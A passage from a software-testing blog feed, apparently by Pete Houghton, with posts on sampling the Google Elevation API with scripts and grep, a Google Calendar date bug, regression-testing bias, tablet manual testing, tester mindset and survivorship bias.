{</span><br /><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"elevation" : 39.87668991088867,</span><br /><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"location" : {</span><br /><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "lat" : 50.67643799459280,</span><br /><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "lng" : -1.235103116128651</span><br /><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;},</span><br /><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"resolution" : 610.8129272460938</span><br /><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">&nbsp; &nbsp; &nbsp; }</span><br /><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">&nbsp; &nbsp;],</span><br /><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">&nbsp; &nbsp;"status" : "OK"</span><br /><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">}</span><br /><br />Were the responses <i>typical</i>? To get a bigger sample of data, I decided to request a series of points, across a large area. I chose the <a href="http://en.wikipedia.org/wiki/Isle_of_Wight">Isle of Wight</a>, an area to the south of England that includes areas above &amp; below sea level and is well charted. If I see any strange results I should be able to get a reference map to compare the data against reasonably easily. I also chose to request the points at random rather than request them sequentially. This would allow me to get an overall impression of the elevations with a smaller sample. It would also help to mitigate any bias I might have in choosing latitude or longitude values. I used Ruby's built-in Rand method to generate the numbers. While not truly random, or as random as those found at <a href="http://www.random.org/">random.org</a>, they are likely to be considerably more random than those I might choose myself.<br /><br />I quickly wrote a simple unix shell script to request single elevation points, for a pair of co-ordinates. The points would be chosen at random within the bounds decided (the Isle of man and surrounds). The script would continue requesting continuously, pausing slightly in between each request to avoid overloading the server and being blocked. The results are each directed to a numbered file. A simple script like this can be quickly written in shell, ruby or similar and left to work in our absence. Its simplicity means maintenance and upfront costs are kept to a minimum. No days or weeks of 'test framework' development or reworking. My script was less than a dozen lines long and was written in minutes.<br /><br />Left to run in the background, while I focused on other work, the script silently did the mundane work we are not good at, but computers excel at. Using the results of these API requests I hoped to chart the results, and maybe spot some anomalies or erroneous data. I thought they might be easier to 'notice' if presented in graphical form.<br /><br />Several hours later, I examined the results. This is where unix-commands become particularly useful, I can easily 'grep' every file (in a folder now full of several thousand responses) for any lines of text that contain a given string. I looked at the last few responses from the elevation API, and notice that the server has stopped serving results as I have exceeded the query limit. That is, I have requested more elevation values than are allowed under the services terms-of-service. Thats useful information, I can check whether the server started doing this after the right period of time - and how it calculates that. I now have more questions and even some actual real-data I can re-analyse to help.<br /><br />Often test automation ignores most of the useful information, and is reduced to a simple Pass/Fail check on one or a handful of pre-defined checks. But if you keep all the data, you can re-process the data at any time. I tend to dump it all to individual files, log files or a even a database. Then you can often re-start analysing the system using the recorded data very quickly, and test your ideas against the real system.<br /><br />In our Google Elevation API example, Using grep, I quickly scanned every file to see all results that were accepted. The command looked like this:<br /><br /><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">grep "status" * | grep &nbsp;-v OVER_QUERY_LIMIT</span><br /><br />In half a second the command has searched through over 12 thousand results and presented me with the name of the file and the actual lines that include the 'status' response line. A quick scroll through the results and blink test - highlights that their is in fact another type of result. As well as those that exceeded the query limit, those that were ok, there is a third group that return an UNKNOWN_ERROR. Another quick scan of the documentation shows that this is one of the expected response status for the API. I quickly retry the few responses that failed using the same latitude and longitude values - they worked and returned seemingly valid data. This suggests that these failures were intermittent. The failures indicated a useful point; The system can fail, and unpredictably.<br /><br />More questions... How reliable is the system? Is it reliable enough for my client?<br /><br />A quick calculation, based on the the number of requests and failures showed that although I had only seen few failures, that was enough to take the availability of the service from 100% down to just under 99.98% reliability. Thats often considered good, but if for example my client was paying for 4 nines (99.99%), They'd want to know. If only to give them a useful negotiation point in contract renewals. I re-ran this test and analysis later and saw a very similar result, it appears as if this might be a useful estimation of the service's availability.<br /><br />Using the data I had collected, I wrote a short ruby script that read the JSON responses and outputted a single CSV file containing the latitude, longitude and elevation. Ruby is my preference over shell for this type of task, as it has built-in libraries that make the interpretation of data in XML, JSON and YAML form, almost trivial. I then fed these results in to <a href="http://www.gnuplot.info/">GNUPlot</a>, a simple and free chart plotting tool. GNUPlot allowed me to easily change the colour of plotted points depending on whether the elevation was positive or negative.<br /><br />Here's the result:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-JzykuOehez4/T7Fcg1eqXFI/AAAAAAAAAHI/yQ038t2yjEE/s1600/20120508_isle_plot_latest.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="212" src="http://4.bp.blogspot.com/-JzykuOehez4/T7Fcg1eqXFI/AAAAAAAAAHI/yQ038t2yjEE/s400/20120508_isle_plot_latest.png" width="400" /></a></div><br /><br />You can see the outline of the Isle, and even what I suspected were a couple of erroneous data points. Closer examination suggests that these are in fact likely to be correct, as they correspond to channels and bays that are open to the sea. Although this exercise had yet to highlight any issues - it performed as useful function nonetheless. It had let me compare my results against another map visually, checking that I was grabbing and plotting the data at least superficially correctly. I had not for example confused latitude with longitude.<br /><br />I did notice one thing that was not expected in the resulting map. The cloud of points seemed to lack any obvious distortion compared with other maps I found online. It seemed, too good, especially as I had ignored all I had not used any correction for the map projection. I had taken the 3 dimensional lat and long values and 'flat' projected them - and the result still looked ok.<br /><br />This illustrates how testing is not so much about finding bugs - but rather about finding information, asking questions. We then use that information to help find more information through more testing. I now suspected the data was set to use a projection that worked well at European latitudes e.g. <a href="http://en.wikipedia.org/wiki/Mercator_projection">Mercator</a>, or used some other system to make things look '<i>right</i>' to me. How might this manifest it self elsewhere in the APIs responses? (Google <a href="https://developers.google.com/maps/documentation/javascript/maptypes#MapCoordinates">documentation</a> has more info on projections used etc.)<br /><br />Thinking back to the 3 dimensional nature of the data, I knew that a point on the globe can be represented by multiple sets of co-ordinates [if we use Latitude &amp; Longitude]. A good example is the North Pole. This has a latitude of 90 degrees, but can have any valid longitude.. I try various co-ordinates for the North Pole, and each returned a different elevation. Thats interesting, my client might be planning to using the system for fairly northern latitudes - will the data be accurate enough? If elevation is unreliable around the pole, at what latitude will it be 'good enough'? If our product owners want more information about just how variable the elevation is at the pole is? Or what is the elevation at the south pole? Those are pretty simple modifications to my short script. (Wikipedia has some interesting comments about <a href="http://en.wikipedia.org/wiki/Google_Maps#Map_projection">Google maps near the poles</a>.)<br /><br />The simple automation used in this example, combined with a human interpretation used relatively little expensive 'human' time and yet maximised the return of automation. Many 'automation solutions' are quite the reverse; requiring extensive development, maintenance and baby sitting. They typically require specialised environments, machine-estates to be created and maintained by [expensive] people. This is far from actually being automated, the man hours required to keep them running, to interpret the results and rerun the ambiguous failures is often substantial.<br /><br />The exploratory investigation outlined here greatly improves on the coverage a lone human tester can achieve, and yet is lightweight and simple. The scripts are short and easily understood by testers new to the team. They are written in commonly used languages and can be understood quickly by programmers and system administrators alike. My client won't be locked into using "the only guy that can keep those tests running!" and they can free their staff to work on the product - the product that makes money.<br /><br />http://www.investigatingsoftware.co.uk/2012/05/using-test-automation-to-help-me-test.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-4981325854370859725Mon, 19 Mar 2012 10:06:00 +00002015-10-07T06:32:11.634-07:00agileinvestigationlearningtestingtimeA simple test of time.Last week I was performing another of my 5 minute testing exercises. As posted before, if I get a spare few minutes I pick something and investigate. This time, I'd picked Google Calendar.<br /><br />One thing people use calendars for is logging what they have done. That is, they function as both schedulers and record keepers. You add what you planned to do, and they also serve as a record of what you did - useful for invoicing clients or just reviewing how you used your time.<br /><br />Calendars and software based on them are inherently difficult to program and as such are often a rich source of bugs. People make a lot of assumptions about time and dates. For example that something ends after it starts.<br /><br />That may sound like something that 'just is true', but there are a number of reasons why that might not be the case. Some examples are:<br /><ul><li>You type in the dates the wrong way round (or mix up your ISO and US dates etc)</li><li>You're working with times around a <a href="http://en.wikipedia.org/wiki/Daylight_saving_time">DST</a> switch, when 30min after 0130h might be 0100h.</li><li>The system clock decides to correct itself, abruptly, in the middle of an action (A poorly implemented <a href="http://en.wikipedia.org/wiki/Network_Time_Protocol">NTP</a> setup could do this)</li></ul>Google Calendar is widely used, and has been available for sometime, but I suspected bugs could still be uncovered quickly.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-4O0mSOuGV7w/T2ZPQkoCpuI/AAAAAAAAAGQ/58hmZ21VuYE/s1600/1_trimmed.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="379" src="http://2.bp.blogspot.com/-4O0mSOuGV7w/T2ZPQkoCpuI/AAAAAAAAAGQ/58hmZ21VuYE/s640/1_trimmed.png" width="640" /></a></div><br />I opened Google Calendar, picked a time that day and added an item: <i>Stuff i did</i>. You can see it above in light-blue.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/--d3KGjyxLKo/T2ZPu5TUCzI/AAAAAAAAAGY/Gbkpxus2lP0/s1600/2_trimmed.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="444" src="http://2.bp.blogspot.com/--d3KGjyxLKo/T2ZPu5TUCzI/AAAAAAAAAGY/Gbkpxus2lP0/s640/2_trimmed.png" width="640" /></a></div><a href="http://2.bp.blogspot.com/--d3KGjyxLKo/T2ZPu5TUCzI/AAAAAAAAAGY/Gbkpxus2lP0/s1600/2_trimmed.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><br /></a>I then clicked on the item, and edited the date. But<i> butter fingers </i>here, typed in the wrong year. Not only that I type only the year in. So now we get to see how Google calendar handles an event ending before it begins.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-CkKsx2iXRfo/T2ZQWFXPaoI/AAAAAAAAAGo/FIvCMbOXi9c/s1600/3_trimmed.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="446" src="http://3.bp.blogspot.com/-CkKsx2iXRfo/T2ZQWFXPaoI/AAAAAAAAAGo/FIvCMbOXi9c/s640/3_trimmed.png" width="640" /></a></div><br /><br /><span style="font-family: inherit;">Google Calendar appears to have deleted the date. OK, maybe its just deleting what [it assumes] is obviously wrong. But why the hour glass? (<span style="background-color: white; line-height: 19px;"><span style="font-size: large;">⌛</span></span><span style="background-color: white; line-height: 19px;">) What was Google's code doing for so long?</span></span><br /><span style="font-family: inherit;"><br /></span><br /><span style="font-family: inherit;">A few moments later, after not being able to click on anything else in Google Calendar, I'm greeted with this:</span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-3PqY8ImPuXs/T2ZQdtU3-VI/AAAAAAAAAGw/oYGIwZr3cpA/s1600/4_trimmed.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="380" src="http://4.bp.blogspot.com/-3PqY8ImPuXs/T2ZQdtU3-VI/AAAAAAAAAGw/oYGIwZr3cpA/s640/4_trimmed.png" width="640" /></a></div><br /><br />OK, so if I click yes, <i>thats good right</i>? Otherwise won't I be disabling the Calendar code?&nbsp;A few moments later... The window goes blank...<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-9poJRYa35Wk/T2ZQuAYhB-I/AAAAAAAAAG4/5XfBpNvcf6Q/s1600/5_trimmed.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="370" src="http://1.bp.blogspot.com/-9poJRYa35Wk/T2ZQuAYhB-I/AAAAAAAAAG4/5XfBpNvcf6Q/s640/5_trimmed.png" width="640" /></a></div><br /><br />A little later, the page reappears and you get another chance, and the Calendar starts to give you better warnings. But none-the-less that wasn't a good user experience, and certainly a bug.<br /><br />These are simple to catch bugs, so I'm often left wondering why they are often present in widely used software that probably had considerable money expended in its development. This bug is quite repeatable and present across different browsers and operating systems. All it took was a little investigation.http://www.investigatingsoftware.co.uk/2012/03/simple-test-using-time.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-2017233688421202795Tue, 06 Mar 2012 20:03:00 +00002015-10-07T06:32:30.554-07:00agileanchoring biasbiasregression testingtestingHow to avoid testing in circles.I once had an interesting conversation with a colleague who worked in a company selling hotel room bookings. The problem was interesting. Their profits depended on many factors. Firstly, fluctuating demand e.g.: Holidays, Weekends, Local events etc. Secondly, varying types of demand e.g. Business customers, Tourists, Single night bookings or e.g.: 11 day holidays. They also had multiple types of contracts on the rooms. For some, they might have had the exclusive right to sell [as they had pre-paid], for others they had an option to sell [at a lower profit] etc.<br /><br />My naive view had been they priced the room bookings at a suitable mark up, upping that markup for known busy times etc. For example a tourist hotel hotel near the Olympics would be a high mark up, the tourist hotel room in winter would have incurred less of a markup. Better to get some money than none at all).<br /><br />He smiled and said some places do that, but he didn't. He had realised his team had a bias towards making a healthy profit. "That seems errh good..." I replied, not sure what I was missing. He explained the problem wasn't making a profit. They made a profit, They could do that. There's good enough demand, and limited enough supply in a business and tourist centre like London to make a profit. The problem was maximising profit. What he had done, was present the profit to the team as a proportion of the theoretical maximum profit. That is, the profit given the perfect combination of bookings at peak rates.<br /><br />It was understood that this was an unlikely, but doable, goal. The benefit was the team could more easily see whether they were making as much money as they could. For example, that business hotel room-stock was making £1 million profit (more than the others), but we should be able to get £10 million (Whereas the others are already at 90% of theoretical max profit.).<br /><br />This struck me as a useful way of looking at the world. Maybe it was just in-tune with my tester mind-set. In software development, we often try and view what we have achieved, and we see the stories we have completed. And when we come to a release at the end of the week, sprint, month, quarter etc, we test those stories. We also fix and test bugs considered important and we usually regression test the system as a whole. At this point, most teams I've worked with, start trying to regression test - but soon end up retesting the same areas, going in circles around the same code-changes.<br /><br />The problem is often that our view of the system has been primed. We fall foul of the <a href="http://en.wikipedia.org/wiki/Anchoring">anchoring bias</a>, and can not easily see that 90% of the system has not been examined. Our testing returns again and again to checking the recent changes and their surrounds. Even when these are probably the best and most recently tested parts of the system. Much like the person in the audience called to the stage in a magic show - I've been primed "to pick a number any number, could be 5, could be 11 ...any number you like.". I'm unlikely to suggest any negative or very large numbers by the time I reach the stage.<br /><br />What I've found to be useful is applying the same concept the hotel sales team used. To help reduce that bias, I invert the game. Instead of looking at the SCRUM/KANBAN board or bug tracking system, that lists the known stories or known defects. I look at a different list or even several lists. These are usually either a checklist of system areas or a something deliberately not in the affected system areas. I then pick an item and investigate its behaviour as if it was new. The very fact I'm not repeating the same ground as everyone else is increasing the chances that I will find an issue. Whats better, these are just the sort of not quite-related but somehow broken-indirectly bugs that regression testing is aimed at.<br /><br />So rather than having a board of defects and stories that you are itching to remove, instead have a board with a card for each section of your software. Divide up your time before the release and start working through the items. You can prioritise your testing however you like, but remember you have already focused a lot of time on certain areas, in specific release-change related testing. What's left are the unexplored areas, the undiscovered bugs.<br /><div><br /></div>http://www.investigatingsoftware.co.uk/2012/03/how-to-avoid-testing-in-circles.htmlnoreply@blogger.com (Pete Houghton)2tag:blogger.com,1999:blog-7222462746492540485.post-2147212569445250404Thu, 01 Mar 2012 15:04:00 +00002012-03-01T07:04:12.680-08:00automationheuristicstablettestingManual means using your hands (and your head)I recently purchased a Samsung Galaxy Tab and an iPad2. Unlike many of my previous gadget purchases, these new gadgets have become very much part of the way I now work and play. One thing I like about them, is their tactile nature. You have a real sense that their is less barrier between you and what you want to do. If you want to do something - you touch it - and it 'just' does it. I don't have to look at a different device, click a couple of keys or move a <a href="http://en.wikipedia.org/wiki/Mouse_(computing)">box on a string</a>&nbsp;to get access to what I can see right in front of me.<br /><br />Features such as the <a href="http://en.wikipedia.org/wiki/Haptic_technology">haptic</a> feedback provide a greater feeling that you are actually working with a tool, rather than herding unresponsive 'icons' or typing magic incantations into a typing device, originally <a href="http://en.wikipedia.org/wiki/Typewriter#Early_innovations">conceived 300 years ago</a>.<br /><br />The underlying software systems used in these devices is a UNIX variant, just like the computer systems that underpin the majority of real world systems from the internet to a developer's shiny Apple Mac or Linux workstation. UNIX was initially developed <a href="http://en.wikipedia.org/wiki/Unix#1970s">40 years ago</a>&nbsp;while it has been re-written, ported and improved over the years, as far as these devices are concerned its the stable platform upon which the <i>magic</i> happens.<br /><br />Part of that magic is variously called the 'interface', GUI or more vaguely the 'experience'. There has been an increasing availability of devices with improved interfaces for many years. The introduction of the command line itself - a little more friendly than punch cards. Graphical menus and keyboard shortcuts. The windowing system, making managing those command line terminals and applications a little easier, especially if you invested in a <a href="http://en.wikipedia.org/wiki/Mouse_(computing)">box on a string</a>. Affordable, portable and powerful computers with touch screens and software that uses these features are just another example of this.<br /><br />From a testing perspective these are exciting new areas to expand our skills and of course challenges to overcome. We get to learn about these tools and toys and how people use them. We also need to grasp how they work - and what they can't do. Yet as I mentioned the underlying technology is conveniently similar. They are still UNIX, they probably speak to other computers using TCP/IP just like your desktop computer does. Much of server-communication under-the-hood probably uses HTTP just like your GMail.<br /><br />As the 'interface' gets more human oriented. More like the other 'real' tools in our lives they get easier to use. But this of course means they are more removed from what computers themselves are able to work with. My computer doesn't really have a concept of what 'touch' is: just a way of handling such events. It can't sense a slightly clunky window drag and drop. When we write software to try and test a window drag and drop, we can make it reliably apply the correct events in the right sequence, and check another sequence of events and actions took place. Beyond that we have little knowledge about what is going on as far as our user is concerned.<br /><br />We often kid our selves that we are testing, for example drag and drop, but in reality we are checking that a sequence of events happened and were received and processed appropriately. Thats fine, and probably a good idea - but its not actually seeing how well drag and drop works. It might not 'work' at all for our user.<br /><br />I once worked on a project that included a complex web navigation menu system. Multiple configurations were possible, and depending on the users context various menu configurations and styling would be displayed. A great deal of effort had been spent on test automation to 'test' this menu-ing system. Yet shortly before a release the CTO took a look at the system and noticed the menu was missing, he was not impressed. A recent code 'fix' had inadvertently altered the page layout and the menu was entirely invisible. The test automation was oblivious to this, even if it had checked the menus 'visibility' setting, it would not have detected the problem. The menu was set to 'visible', but unfortunately another component had been placed on-top, obscuring the menu.<br /><br />This situation is a classic GUI-test-automation mistake. It highlights the common problem with test automation that tries to 'play human'. The test automation couldn't see the page and its missing menu. Why do we keep trying to get our computers to do this? The final arbiter of whether a feature is visible is the user's brain, not Selenium's object model.<br /><br />I recently took a look at the Google Docs app on my new Galaxy Tab. I created a new blank spreadsheet and just started to click on the cells to enter some numbers. I use spreadsheets on Google Docs frequently and felt testing that I am able to do this on my tablet would be worthwhile. My expectations were high, I'm using the Google Docs App, on [Google] Android software on a market leading Android-supporting hardware. I click on a cell in the spreadsheet, and I feel the haptic response, I know the tablet-knows I've done something. I see the cell become editable.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-9l65q_f0_Eo/T0-HdcFpLAI/AAAAAAAAAGI/SQoBd7Cro1c/s1600/SC20120221-212948.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://1.bp.blogspot.com/-9l65q_f0_Eo/T0-HdcFpLAI/AAAAAAAAAGI/SQoBd7Cro1c/s640/SC20120221-212948.jpg" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><br />I wanted to see the range of menu options available, for the cell. As is normal for touch screens and some desktop software I press and hold on the cell. (thats pretty much the equivalent of the right mouse button) <i>Oops</i>. The whole spreadsheet disappears...<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-m-lr0yBMLyA/T0-HcdFAx-I/AAAAAAAAAGA/FBt0ByOcL1w/s1600/SC20120221-212940.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://3.bp.blogspot.com/-m-lr0yBMLyA/T0-HcdFAx-I/AAAAAAAAAGA/FBt0ByOcL1w/s640/SC20120221-212940.jpg" width="640" /></a></div><br /><br />I try various similar <i>manoeuvres</i>, all typical tablet interface commands (us tablet kids call them gestures). These tend to give varied results from 'expected' behaviour such as displaying the option to Paste - to causing parts of the spreadsheet to disappear. This is a high impact flaw in the application, one that a human tester would find in seconds. (SECONDS I tell you!)<br /><br />This exposes again a lack of what<i> I mean</i> by manual testing. That is actually using your hands to test things. Literally: your hands. I found that if 'pressed and held' for a certain amount of time the spreadsheet would not go blank. But that 'press-but not too quick and not for too long' <i>technique</i> was obviously useless for normal usage. This defect is a blocking issue for me, I do not use Google Docs App on my Tablet. I use Polaris, an app that comes free and installed: it has no such issues - and allows me to upload files to the Google Docs server, or email the files etc.<br /><br />The big 'A' Agile crowd and waterfall/v-model die-hards alike fall into a polarised debate about the need for 'manual [X]OR automated' testing, but really they are not grokking the need for testing, and testing using the right tools in the right places. Those test tools might be:<br /><br /><ul><li>a logging or monitoring program/script running on those underlying UNIX systems.</li><li>a fake Google Docs server that lets you check the client app against a server in 'known states'.</li><li>a fake Google Docs client app...</li><li>a javascript library that exposes the details of the client application or interacts and triggers events as required.&nbsp;</li><li>a tool that creates random / diverse spreadsheet data - and checks for problems/errors in the server or client etc.</li><li>a tool that can apply load and measure system performance of those HTTP calls.</li></ul>(Notice the pattern, test automation is good at doing and checking machine/code oriented things in ways that people are not.)<br /><br />Or even:<br /><br /><ul><li>Your hand(s): The haptic feedback doesn't work for XYZ, The tablet can still be hard to use one handed - can we fix that? Why can't I zoom-gesture on this Sunday Times magazine?</li><li>Your eyes, e.g.: observing instantly the HTTP traffic in a monitoring tool...</li><li>Your ears: The screen brightness adjusts to ambient light levels, but the speaker does not adjust to ambient noise levels...</li></ul><br />All these tools need to be considered in conjunction. E.g.: Now we know the application is prone to these 'disappearing' tricks - how can we (1) stop it happening? (2) detect when it does? and discuss the merits of doing either or both. Sometimes it makes sense to divide our resources and write test automation and write the fix - for example when you suspect you haven't caught all the causes of the issue. But that inevitable drag away from more testing means you don't find the next bug because your team is still coding the code-fix and test for the code-fix (or the maintenance of both). This is why the decision, on how to proceed at that point, is always context sensitive.<br /><br />Its not that one should use manual or automated testing, its a question of asking What am I trying to do? What tool do I need? For example: If development has not started, then the best tools might be the tester's brain and a white board rather than a bloated java framework. If you don't know what you need to test - then your hands and eyes will quickly give you valuable feedback as where to go next. For example: the application seems sluggish - we need to check performance and network latency. Or the spreadsheet disappears! - We need to be able to automatically generate those events - and reliably check the visibility.http://www.investigatingsoftware.co.uk/2012/03/manual-means-using-your-hands-and-your.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-8522410711959560753Thu, 05 Jan 2012 11:52:00 +00002012-01-05T03:52:01.344-08:00programmerrandomunexpectedNobody expects the...In a previous <a href="http://www.investigatingsoftware.co.uk/2011/12/testing-testing-1-2-3.html">post</a> I discussed one method I use to improve my testing skills, spending spare minutes testing a machine or website that is readily at hand. The example I used was Google's search, in particular its currency conversion feature. This is useful for getting practice, and trying to speed up my testing, that is - finding information more quickly.<br /><br />Another activity I perform is watching someone else test something. As testers, we are often asked to be a second pair of eyes, as its assumed that a programmer might not notice some issues in their own code. The idea being that you will not be blinded by the same assumptions, and will hopefully find new issues with the software. Using the same logic, by watching someone else test, I can examine their successes and failures more easily.<br /><br />I've asked many people to test a variety of objects, usually things to hand, like a wristwatch or something I've recently bought. One recurring pattern I have noticed is how programmers and testers approach the problems. That is, they tend to use different techniques and I think this is because testers have a slightly different underlying approach.<br /><br />For example I once gave a toy to a colleague to 'test'. The description I gave was limited: A small plastic/rubber toy, aimed at toddlers and above. Bought for a few pounds. You can see what it looks like here:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-eLZTkKAImKs/TwWNSmZmRtI/AAAAAAAAAFU/GgRG0jNM9Ho/s1600/individual_star_toy.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="259" src="http://3.bp.blogspot.com/-eLZTkKAImKs/TwWNSmZmRtI/AAAAAAAAAFU/GgRG0jNM9Ho/s320/individual_star_toy.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div>The tests suggested were good, a range of things that I would hope any toy my son had would of been subjected to. For example toxicity, tearing etc. They also examined the toy and noticed a spike had been torn - after which I explained the toy had previously had a brightly coloured chord loop or lanyard that had been torn off. This also produced a few more relevant tests, all good.<br /><br />After a while, the suggested tests had been exhausted, as well as the associated questions, such as "Did it come with a manual?" (The answer was no - except for a piece of paper with words to the effect of "Made in China, do not burn."). These were all good tests and questions. But I've noticed that testers would ask many of the same questions and suggest similar tests, but also suggest another group of tests.<br /><br />Programmers are builders, they focus on what they are constructing. Their experience tends to cause them to follow very much what they are presented with. The plan, the specification, the system they are upgrading. As such, when presented with a testing problem, their tests focus on the same aspects, quite rightly. If they were building the system themselves, their tests and questions would all be what I'd expect them to do. Experienced and skilled programmers bring a wealth of background knowledge that can make their work very thorough, and of high quality.<br /><br />As such, good programmers can often do a reasonable job of software testing. There is one area of testing that I have noticed that programmers tend to miss. Good testers will often try to find areas they don't know about (Rather than examining those that they do know in greater and greater detail). They have techniques for breaking out of their own view of the problem. While a programmer will often only perform a test if they can frame it back to a 'requirement' testers often perform a test - because they can.<br /><br />The sorts of things testers suggest is pretty interesting, and varied, but they tend to be destructive. I've asked testers, after they have suggested an "<a href="http://idioms.thefreedictionary.com/off+the+wall">off the wall</a>" test that surprised me, "Why would you do that?". The responses vary, and I suspect that the justification is often being generated when I ask. Thats not a problem, much of what we do in testing is not "named". They are techniques people have learned by doing, and maybe never had reason to analyse and put a name to. What I think the testers are doing is performing "something" that will expose new behaviour.<br /><br />They have learned that by doing predictable things, you will tend to get predictable answers. If you work with the same assumptions and behaviours that the rest of your team do, then you are unlikely to see new and interesting behaviour. By, for example, when asked to test a wristwatch - they suggest removing the battery or throwing the watch in the sea, that may seem a little strange. They certainly don't seem to match with the Conditions of Satisfaction. But they might actually help identify important features of the wristwatch, that otherwise might not of been discovered. For example the watch was made of Titanium, which does not rust in salt-water. Or that the wristwatch was powered by the motion of the user, as well as by a 'backup' battery.<br /><br />The testers have learned that getting another viewpoint, can discover new information. And as information gatherers, thats a pretty important achievement. They are climbing a tree, not to see if the tree is climbable but rather to find out whats there? As such they suddenly see the size of the forest, the life supported in and around the tree or that they have a pine-wood allergy. In the toy example above, if the tester had picked up the toy and crushed it, they would have noticed it start to <a href="http://www.everyonedoesit.com/img/products/glowing_stars_f.jpg">flash bright colours</a>.<br /><div><br /></div>http://www.investigatingsoftware.co.uk/2012/01/nobody-expects.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-2641772403949097073Mon, 19 Dec 2011 12:50:00 +00002014-05-12T02:08:56.496-07:00heuristicssecuritytestingwarfareWrong end of the stickThere's a story about air-force scientists during world war 2, that reflects an interesting concept about the things we see and how they can alter our assumptions. The story goes that the allied bombers were suffering great losses during their air-raids of continental europe. The allied scientists got together and anaylsed the damage reports from the engineers tasked with fixing the planes after each raid. (One of the scientists working on these problems was <a href="http://en.wikipedia.org/wiki/Abraham_Wald">Abraham Wald</a> )<br /><br />Here is an example of the sort of summary engineering reports they might of been faced with. The report details the parts of the plane and what proportion of aeroplanes had been damaged in that area: (This data is completely made up by me):<br />15% had damage to 1 or more engines<br />25% had tail damage<br />25% had damage to the nose and cockpit area.<br />35% had damage to the fuselage<br /><br />The aircraft engineers could only add extra-armour to one part of the plane, any more armour would limit the aeroplane in other ways e.g.: making it an easier target or unable to carry its deadly-cargo. Where would you add the armour? If you wanted to do your best to ensure that plane and its crew returned, where would you place the bet?<br /><div class="separator" style="clear: both; text-align: center;"><a href="http://www.aerospaceweb.org/question/design/q0177.shtml"><img border="0" src="http://1.bp.blogspot.com/-pNLv7wl8Phk/Tu8uXTzUNII/AAAAAAAAAE8/MKS66qDyiH4/s400/b17_damaged.jpg" height="352" width="400" /></a></div><br />The story goes that the answer relies on 2 more pieces of information. Firstly, the flak could affect any part of the aero-plane, and didn't tend to always affect one part more than another. The second, was that the engineers data is not the full picture. It suffers from a [literal] survivorship bias. What about the planes that didn't come back? What parts of the aircraft are not listed in the engineers reports?<br /><br />For example, the wings are not mentioned above. The idea is that the most critically damaged aircraft never made it back to the engineers. These would never be recorded in the statistics, and so the damage reports tended to show an almost inverted view of what needed to be armoured. That is, if a plane received damage to its wings - it never came home. The wings needed the armour most.<br /><br />This is a situation I've witnessed in software testing. The phenomenon can exhibit itself in many ways. For example a simple mis-use of metrics, does feature X have 10 bug reports recorded against it? but but feature Y has just 2? Maybe feature Y isn't less-broken but so broken that no-one can use-it well enough to find more bugs. While the 'buggy' feature Y is popular and receives a lot of attention from its users, reporting the quirks and bugs they see.<br /><br />A more subtle example might be, in a performance test, one server appears to display fewer errors. Maybe that server has the 'right' configuration, or its hardware is better: lets make all our servers like the 'good-one'. But it could be that this server is mis-configured or mis-managed in some way. Perhaps its not taking its fair-share of the load - forcing an overload on the other servers. In this case approaching the results skeptically might in fact save you from mis-interpreting the results, and propagating a 'bad configuration' just because it seemed to help in one scenario.<br /><br />For a tester, the simple heuristic that your apparent results are just that: apparent, to you. They may in fact represent, as above, an entirely 'negative' image of how the software is actually behaving. Its worth spending some time testing your tests, because how do you know you haven't got the '<i>wrong end of the stick</i>'?<br /><br />I hope I haven't trivialised an important albeit dark aspect of european history with this post. I hope I have helped to use the information learned for a better purpose. For those interested in some of the effects of the allied bombing on continental Europe you wish to start reading about the <a href="http://en.wikipedia.org/wiki/Bombing_of_Dresden_in_World_War_II">Bombing of Dresden</a>. You may also find articles 